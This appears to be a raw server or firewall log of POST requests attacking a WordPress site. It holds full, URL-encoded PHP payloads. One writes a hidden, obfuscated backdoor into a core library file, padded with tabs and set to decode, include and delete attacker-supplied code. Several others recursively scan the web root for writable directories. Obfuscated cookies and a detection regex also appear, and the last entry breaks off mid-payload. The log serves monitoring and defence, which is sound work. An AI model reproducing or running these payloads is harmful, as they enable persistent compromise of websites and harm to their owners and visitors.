20%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\ncontent-length:4809\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:59:03","54.36.177.228","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> fx:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3811\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\n\nfx=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:59:08","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Sz:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3811\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nSz=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:59:12","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Et:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3811\n\nEt=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D